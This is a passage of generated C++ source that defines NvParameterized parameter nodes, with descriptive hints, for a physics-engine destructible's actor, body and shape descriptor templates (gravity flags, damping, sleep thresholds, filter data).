// Initialize DefinitionImpl node: nodeIndex=123, longName="actorDescTemplate.forceFieldMaterial"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[123];
ParamDef->init("forceFieldMaterial", TYPE_U16, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Force Field Material Index, index != 0 has to be created.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Force Field Material Index", true);
ParamDefTable[123].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=124, longName="actorDescTemplate.userData"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[124];
ParamDef->init("userData", TYPE_U64, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[124].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Optional user data pointer.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[2].init("shortDescription", "Optional user data pointer", true);
ParamDefTable[124].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=125, longName="actorDescTemplate.name"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[125];
ParamDef->init("name", TYPE_U64, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[125].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Optional name string for a shape; must be set by the application and must be a persistent pointer.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[2].init("shortDescription", "Optional name string for a shape; must be set by the application and must be a persistent pointer.", true);
ParamDefTable[125].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=126, longName="actorDescTemplate.compartment"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[126];
ParamDef->init("compartment", TYPE_U64, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[126].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Optional compartment pointer; must be set by the application.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[2].init("shortDescription", "Optional compartment pointer", true);
ParamDefTable[126].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=127, longName="bodyDescTemplate"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[127];
ParamDef->init("bodyDescTemplate", TYPE_STRUCT, "BodyDescTemplate", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[127].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Contains the parameterse that the application can override for the body descriptor of rigid body actors created.", true);
HintTable[2].init("shortDescription", "Contains the parameterse that the application can override for the body descriptor of rigid body actors created", true);
ParamDefTable[127].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=128, longName="bodyDescTemplate.flags"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[128];
ParamDef->init("flags", TYPE_STRUCT, "BodyDescFlags", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Combination of body descriptor flags.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Combination of body descriptor flags", true);
ParamDefTable[128].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=129, longName="bodyDescTemplate.flags.NX_BF_DISABLE_GRAVITY"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[129];
ParamDef->init("NX_BF_DISABLE_GRAVITY", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Set if gravity should not be applied on this body.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Set if gravity should not be applied on this body", true);
ParamDefTable[129].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=130, longName="bodyDescTemplate.flags.NX_BF_FILTER_SLEEP_VEL"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[130];
ParamDef->init("NX_BF_FILTER_SLEEP_VEL", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Filter velocities used keep body awake. The filter reduces rapid oscillations and transient spikes.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Filter velocities used keep body awake. The filter reduces rapid oscillations and transient spikes", true);
ParamDefTable[130].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=131, longName="bodyDescTemplate.flags.NX_BF_ENERGY_SLEEP_TEST"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[131];
ParamDef->init("NX_BF_ENERGY_SLEEP_TEST", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enables energy-based sleeping algorithm.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enables energy-based sleeping algorithm", true);
ParamDefTable[131].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=132, longName="bodyDescTemplate.flags.NX_BF_VISUALIZATION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[132];
ParamDef->init("NX_BF_VISUALIZATION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Enables debug visualization for this body.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Enables debug visualization for this body", true);
ParamDefTable[132].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=133, longName="bodyDescTemplate.wakeUpCounter"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[133];
ParamDef->init("wakeUpCounter", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The bodys initial wake up counter.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "The bodys initial wake up counter", true);
ParamDefTable[133].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=134, longName="bodyDescTemplate.linearDamping"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[134];
ParamDef->init("linearDamping", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Linear damping applied to the body.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Linear damping applied to the body", true);
ParamDefTable[134].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=135, longName="bodyDescTemplate.angularDamping"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[135];
ParamDef->init("angularDamping", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Angular damping applied to the body.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Angular damping applied to the body", true);
ParamDefTable[135].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=136, longName="bodyDescTemplate.maxAngularVelocity"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[136];
ParamDef->init("maxAngularVelocity", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Maximum allowed angular velocity.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Maximum allowed angular velocity", true);
ParamDefTable[136].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=137, longName="bodyDescTemplate.CCDMotionThreshold"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[137];
ParamDef->init("CCDMotionThreshold", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "When CCD is globally enabled, it is still not performed if the motion distance of all points on the body is below this threshold.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Distance threshold for CCD", true);
ParamDefTable[137].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=138, longName="bodyDescTemplate.sleepLinearVelocity"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[138];
ParamDef->init("sleepLinearVelocity", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Maximum linear velocity at which body can go to sleep.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Maximum linear velocity at which body can go to sleep", true);
ParamDefTable[138].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=139, longName="bodyDescTemplate.sleepAngularVelocity"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[139];
ParamDef->init("sleepAngularVelocity", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Maximum angular velocity at which body can go to sleep.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Maximum angular velocity at which body can go to sleep", true);
ParamDefTable[139].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=140, longName="bodyDescTemplate.solverIterationCount"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[140];
ParamDef->init("solverIterationCount", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Number of solver iterations performed when processing joint/contacts connected to this body.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Number of solver iterations performed when processing joint/contacts connected to this body", true);
ParamDefTable[140].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=141, longName="bodyDescTemplate.sleepEnergyThreshold"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[141];
ParamDef->init("sleepEnergyThreshold", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Threshold for the energy-based sleeping algorithm. Only used when the NX_BF_ENERGY_SLEEP_TEST flag is set.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Threshold for the energy-based sleeping algorithm. Only used when the NX_BF_ENERGY_SLEEP_TEST flag is set", true);
ParamDefTable[141].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=142, longName="bodyDescTemplate.sleepDamping"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[142];
ParamDef->init("sleepDamping", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Damping factor for bodies that are about to sleep.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Damping factor for bodies that are about to sleep", true);
ParamDefTable[142].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=143, longName="bodyDescTemplate.contactReportThreshold"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[143];
ParamDef->init("contactReportThreshold", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The force threshold for contact reports.\n This will be applied to all NxActors generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "The force threshold for contact reports", true);
ParamDefTable[143].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=144, longName="p3ShapeDescTemplate"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[144];
ParamDef->init("p3ShapeDescTemplate", TYPE_STRUCT, "P3ShapeDescTemplate", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("editorDisplay", "false", true);
ParamDefTable[144].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#else
static HintImpl HintTable[3];
static Hint* HintPtrTable[3] = { &HintTable[0], &HintTable[1], &HintTable[2], };
HintTable[0].init("editorDisplay", "false", true);
HintTable[1].init("longDescription", "Contains the parameters the application can override on any actor shapes created.", true);
HintTable[2].init("shortDescription", "Contains the parameters the application can override on any actor shapes created", true);
ParamDefTable[144].setHints((const NvParameterized::Hint**)HintPtrTable, 3);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=145, longName="p3ShapeDescTemplate.flags"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[145];
ParamDef->init("flags", TYPE_STRUCT, "P3ShapeFlags", true);
}
// Initialize DefinitionImpl node: nodeIndex=146, longName="p3ShapeDescTemplate.flags.eSIMULATION_SHAPE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[146];
ParamDef->init("eSIMULATION_SHAPE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "The shape will partake in collision in the physical simulation.", true);
ParamDefTable[146].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=147, longName="p3ShapeDescTemplate.flags.eSCENE_QUERY_SHAPE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[147];
ParamDef->init("eSCENE_QUERY_SHAPE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "The shape will partake in scene queries (ray casts, overlap tests, sweeps, ...). ", true);
ParamDefTable[147].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=148, longName="p3ShapeDescTemplate.flags.eTRIGGER_SHAPE"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[148];
ParamDef->init("eTRIGGER_SHAPE", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "The shape is a trigger which can send reports whenever other shapes enter/leave its volume.\n\nNote:\nTriangle meshes and heightfields can not be triggers. Shape creation will fail in these cases.\nShapes marked as triggers do not collide with other objects. If an object should act both as a trigger shape and a collision shape then create a rigid body with two shapes, one being a trigger shape and the other a collision shape.\n", true);
HintTable[1].init("shortDescription", "The shape is a trigger which can send reports whenever other shapes enter/leave its volume. ", true);
ParamDefTable[148].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=149, longName="p3ShapeDescTemplate.flags.eVISUALIZATION"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[149];
ParamDef->init("eVISUALIZATION", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "Enable debug renderer for this shape", true);
ParamDefTable[149].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=150, longName="p3ShapeDescTemplate.flags.ePARTICLE_DRAIN"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[150];
ParamDef->init("ePARTICLE_DRAIN", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "Sets the shape to be a particle drain", true);
ParamDefTable[150].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=151, longName="p3ShapeDescTemplate.flags.eDEFORMABLE_DRAIN"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[151];
ParamDef->init("eDEFORMABLE_DRAIN", TYPE_BOOL, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "Sets the shape to be a deformable drain", true);
ParamDefTable[151].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=152, longName="p3ShapeDescTemplate.simulationFilterData"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[152];
ParamDef->init("simulationFilterData", TYPE_STRUCT, "P3FilterData", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets the user definable collision filter data.\n This is applied to all shapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets the user definable collision filter data", true);
ParamDefTable[152].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=153, longName="p3ShapeDescTemplate.simulationFilterData.word0"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[153];
ParamDef->init("word0", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "word0 of the filter data", true);
ParamDefTable[153].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=154, longName="p3ShapeDescTemplate.simulationFilterData.word1"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[154];
ParamDef->init("word1", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "word1 of the filter data", true);
ParamDefTable[154].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=155, longName="p3ShapeDescTemplate.simulationFilterData.word2"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[155];
ParamDef->init("word2", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "word2 of the filter data", true);
ParamDefTable[155].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=156, longName="p3ShapeDescTemplate.simulationFilterData.word3"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[156];
ParamDef->init("word3", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "word3 of the filter data", true);
ParamDefTable[156].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=157, longName="p3ShapeDescTemplate.queryFilterData"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[157];
ParamDef->init("queryFilterData", TYPE_STRUCT, "P3FilterData", true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets the user definable query filter data.\n This is applied to all shapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets the user definable query filter data", true);
ParamDefTable[157].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=158, longName="p3ShapeDescTemplate.queryFilterData.word0"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[158];
ParamDef->init("word0", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "word0 of the filter data", true);
ParamDefTable[158].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=159, longName="p3ShapeDescTemplate.queryFilterData.word1"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[159];
ParamDef->init("word1", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "word1 of the filter data", true);
ParamDefTable[159].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=160, longName="p3ShapeDescTemplate.queryFilterData.word2"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[160];
ParamDef->init("word2", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "word2 of the filter data", true);
ParamDefTable[160].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=161, longName="p3ShapeDescTemplate.queryFilterData.word3"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[161];
ParamDef->init("word3", TYPE_U32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[1];
static Hint* HintPtrTable[1] = { &HintTable[0], };
HintTable[0].init("shortDescription", "word3 of the filter data", true);
ParamDefTable[161].setHints((const NvParameterized::Hint**)HintPtrTable, 1);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=162, longName="p3ShapeDescTemplate.material"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[162];
ParamDef->init("material", TYPE_U64, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "A PxMaterial pointer for the shape.\n This is applied to all shapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "A PxMaterial pointer for the shape", true);
ParamDefTable[162].setHints((const NvParameterized::Hint**)HintPtrTable, 2);
#endif /* NV_PARAMETERIZED_HIDE_DESCRIPTIONS */
}
// Initialize DefinitionImpl node: nodeIndex=163, longName="p3ShapeDescTemplate.contactOffset"
{
NvParameterized::DefinitionImpl* ParamDef = &ParamDefTable[163];
ParamDef->init("contactOffset", TYPE_F32, NULL, true);
#ifdef NV_PARAMETERIZED_HIDE_DESCRIPTIONS
#else
static HintImpl HintTable[2];
static Hint* HintPtrTable[2] = { &HintTable[0], &HintTable[1], };
HintTable[0].init("longDescription", "Sets the contact offset; if -1 it uses the global default.\n This is applied to all shapes generated for this destructible's chunks.", true);
HintTable[1].init("shortDescription", "Sets the contact offset", true);
